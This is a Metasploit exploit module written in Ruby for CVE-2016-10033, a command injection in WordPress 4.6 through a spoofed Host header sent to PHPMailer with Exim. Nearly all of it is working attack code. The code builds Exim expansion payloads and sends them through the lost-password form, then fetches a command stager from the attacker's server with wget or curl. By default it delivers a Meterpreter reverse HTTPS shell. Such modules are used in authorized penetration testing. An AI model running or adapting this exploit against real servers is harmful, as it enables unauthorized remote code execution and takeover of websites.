WordPress PHPMailer Host Header Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'WordPress PHPMailer Host Header Command Injection',
      'Description'         => %q{
        This module exploits a command injection vulnerability in WordPress
        version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
        a mail-sending library that is bundled with WordPress.

        A valid WordPress username is required to exploit the vulnerability.
        Additionally, due to the altered Host header, exploitation is limited to
        the default virtual host, assuming the header isn't mangled in transit.

        If the target is running Apache 2.2.32 or 2.4.24 and later, the server
        may have HttpProtocolOptions set to Strict, preventing a Host header
        containing parens from passing through, making exploitation unlikely.
      },
      'Author'              => [
        'Dawid Golunski', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'          => [
        ['CVE', '2016-10033'],
        ['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'],
        ['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'],
        ['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions']
      ],
      'DisclosureDate'      => '2017-05-03',
      'License'             => MSF_LICENSE,
      'Platform'            => 'linux',
      'Arch'                => [ARCH_X86, ARCH_X64],
      'Privileged'          => false,
      'Targets'             => [
        ['WordPress 4.6 / Exim', {}]
      ],
      'DefaultTarget'       => 0,
      'DefaultOptions'      => {
        'PAYLOAD'           => 'linux/x64/meterpreter_reverse_https',
        'CMDSTAGER::FLAVOR' => :wget
      },
      'CmdStagerFlavor'     => %i[wget curl]
    ))

    register_options([
      OptString.new('USERNAME', [true, 'WordPress username', 'admin'])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
    ])

    deregister_options('VHOST', 'URIPATH')
  end

  def check
    if (version = wordpress_version)
      version = Rex::Version.new(version)
    else
      return CheckCode::Safe
    end

    vprint_status("WordPress #{version} installed at #{full_uri}")

    if version <= Rex::Version.new('4.6')
      CheckCode::Appears
    else
      CheckCode::Detected
    end
  end

  def exploit
    if check == CheckCode::Safe
      print_error("Is WordPress installed at #{full_uri} ?")
      return
    end

    # Since everything goes through strtolower(), we need lowercase
    print_status("Generating #{cmdstager_flavor} command stager")
    @cmdstager = generate_cmdstager(
      'Path'   => "/#{Rex::Text.rand_text_alpha_lower(8)}",
      :temp    => datastore['WritableDir'],
      :file    => File.basename(cmdstager_path),
      :nospace => true
    ).join(';')

    print_status("Generating and sending Exim prestager")
    generate_prestager.each do |command|
      vprint_status("Sending #{command}")
      send_request_payload(command)
    end
  end

  #
  # Exploit methods
  #

  # Absolute paths are required for prestager commands due to execve(2)
  def generate_prestager
    prestager = []

    # This is basically sh -c `wget` implemented using Exim string expansions
    # Badchars we can't encode away: \ for \n (newline) and : outside strings
    prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \
      "{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \
      "{get #{get_resource} http/1.0$value$value}}}}}}"

    # CmdStager should rm the file, but it blocks on the payload, so we do it
    prestager << "/bin/rm -f #{cmdstager_path}"
  end

  def send_request_payload(command)
    res = send_request_cgi(
      'method'        => 'POST',
      'uri'           => wordpress_url_login,
      'headers'       => {
        'Host'        => generate_exim_payload(command)
      },
      'vars_get'      => {
        'action'      => 'lostpassword'
      },
      'vars_post'     => {
        'user_login'  => datastore['USERNAME'],
        'redirect_to' => '',
        'wp-submit'   => 'Get New Password'
      }
    )

    if res && !res.redirect?
      if res.code == 200 && res.body.include?('login_error')
        fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
      elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
        fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
      else
        fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
      end
    end

    res
  end

  def generate_exim_payload(command)
    exim_payload  = Rex::Text.rand_text_alpha(8)
    exim_payload << "(#{Rex::Text.rand_text_alpha(8)} "
    exim_payload << "-be ${run{#{encode_exim_payload(command)}}}"
    exim_payload << " #{Rex::Text.rand_text_alpha(8)})"
  end

  # We can encode away the following badchars using string expansions
  def encode_exim_payload(command)
    command.gsub(/[\/ :]/,
      '/' => '${substr{0}{1}{$spool_directory}}',
      ' ' => '${substr{10}{1}{$tod_log}}',
      ':' => '${substr{13}{1}{$tod_log}}'
    )
  end

  #
  # Utility methods
  #

  def cmdstager_flavor
    datastore['CMDSTAGER::FLAVOR']
  end

  def cmdstager_path
    @cmdstager_path ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
  end

  #
  # Override methods
  #

  # Return CmdStager on first request, payload on second
  def on_request_uri(cli, request)
    if @cmdstager
      print_good("Sending #{@cmdstager}")
      send_response(cli, @cmdstager)
      @cmdstager = nil
    else
      print_good("Sending payload #{datastore['PAYLOAD']}")
      super
    end
  end
end